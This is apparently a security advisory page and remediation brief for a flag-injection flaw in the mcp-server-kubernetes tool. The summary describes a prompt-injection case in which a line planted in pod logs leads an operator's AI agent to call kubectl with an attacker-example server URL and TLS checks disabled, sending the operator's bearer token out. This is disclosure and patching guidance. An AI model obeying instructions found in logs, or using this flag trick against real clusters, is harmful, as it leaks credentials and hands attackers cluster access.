MCP Server Kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

6.1 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

EPSS

• CVE-2026-47250: 0.42% estimated exploitation activity in the next 30 days; percentile 36.62 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary The kubectlgeneric tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectlgeneric is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. The token…

Published by the source

5 Jun 2026, 15:40 UTC

Last modified by the source

12 Jun 2026, 19:30 UTC

Source last checked

26 Oct 2026, 12:55 UTC

1. Revision 2 · amended · 26 Oct 2026

   Amended from ghsa record GHSA-6mx4-4h42-r8vh

2. Revision 1 · created · 24 Oct 2026

   Published from osv record GHSA-6mx4-4h42-r8vh

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# Patch Next advisory brief: CVE-2026-47250

Advisory: MCP Server Kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration
IDs: CVE-2026-47250, GHSA-6mx4-4h42-r8vh
Record: https://patchnext.com/advisories/cve-2026-47250 (revision 2, source checked 26 Oct 2026, 12:55 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Medium (CVSS 6.1)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: mcp-server-kubernetes 3.7.0. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm mcp-server-kubernetes: affected <= 3.6.2; fixed in 3.7.0

## Suggested inspection (read-only)
- `npm ls mcp-server-kubernetes --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on mcp-server-kubernetes.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/GHSA-6mx4-4h42-r8vh (OSV record GHSA-6mx4-4h42-r8vh lists affected ranges: npm mcp-server-kubernetes >=0 <3.7.0 (fixed))
- Verified: https://github.com/advisories/GHSA-6mx4-4h42-r8vh (GitHub-reviewed advisory GHSA-6mx4-4h42-r8vh lists affected ranges: npm mcp-server-kubernetes >=0 <=3.6.2)

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